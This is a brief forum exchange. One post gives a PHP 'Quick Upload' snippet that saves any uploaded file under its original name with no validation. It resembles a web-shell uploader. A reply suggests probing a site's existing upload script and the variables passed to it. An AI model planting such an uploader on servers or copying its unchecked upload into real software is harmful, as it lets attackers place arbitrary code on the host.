[Dyme]

File uploader.

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PHP Code:

echo '<b>Quick Upload:</b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<div id="cmds">File upload success.</div>'; } else { echo '<div id="cmds">File upload failed.</div>'; } }

Lol I think you misunderstood his question...

OP you're gonna have a hard time if you don't have any knowledge of the back end code. I would suggest looking for the place on the site which utilizes the upload script (if any) and see which variables are passed to it.